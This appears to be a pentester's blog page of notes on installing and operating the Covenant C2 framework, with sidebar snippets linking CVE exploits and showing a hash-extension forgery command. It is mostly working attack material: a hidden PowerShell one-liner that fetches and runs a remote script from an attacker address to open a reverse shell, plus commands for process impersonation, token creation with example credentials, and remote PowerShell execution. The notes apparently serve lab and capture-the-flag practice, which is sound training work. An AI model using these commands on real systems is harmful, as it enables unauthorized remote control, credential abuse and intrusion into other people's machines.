Skip to main content

Covenant C2

 

 

Installing Covenant C2

git clone --recurse-submodules https://github.com/cobbr/Covenant.git

wget -q https://packages.microsoft.com/config/ubuntu/19.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb

sudo dpkg -i packages-microsoft-prod.debsudo
apt-get updatesudo
apt-get install
apt-transport-httpssudo
apt-get updatesudo
apt-get install dotnet-sdk-3.1

cd Covenant/Covenant
dotnet build
Start Covenant C2

cd Covenant/Covenant
sudo dotnet run

browse to https://127.0.0.1:7443/
Create a listener first



Create a launcher - select the type of launcher



Select the parameters




Move to the hosts tab to give a name to your reverse shell and copy the command
 
After you get a shell, a Grunt will appear in your Grunts section 



Open the grunt and go to interact tab to interact with the target

Commands: Runs Privilege escallation commands to find vulnerabilities - SharpUp audit



use ShellCmd to run cmd commands
Ex: ShellCmd dir c:\users\



Upload a Powershell script

PowerShellImport

 
To run commands

Powershell Get-DomainShare


Copy the Launcher Code to the target

powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://10.14.14.6/rev.ps1')"
Impersonate a Process

#List all processes along with PID,Owner details
ProcessList

#Impersonate a Process
ImpersonateProcess PID_VAlue
ImpersonateProcess 424


#go back to the old user
RevertToSelf
Impersonate as User using Credentials 

MakeToken USERNAME htb.local P@$$W0rd! LOGON32_LOGON_INTERACTIVE  
Logging into a target using wimrm

PowerShellRemotingCommand 10.10.10.10 "get-command *" Steins.LOCAL UserName P@$$W0rd!
#Download a file 
Download filename

#Import a powershellscript and execute it
PowerShellImport

Comments

Popular posts from this blog

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

Hash Extension Attacks

  #Install Dependencies sudo apt-get install libssl-dev #Download Hash Extender git clone https://github.com/iagox86/hash_extender.git cd hash_extender make #Run it /hash_extender --data 'username=admin' --secret 16 --append '&isLoggedIn=True' --signature d3a85d3b3087c7e841f84eb4316765c6e1f786074a1f1db996b2e0f8c96f197e2f55433920a630feb07daafadefbc13c947e5225fc509f8241f57f47a8df5311 --format sha512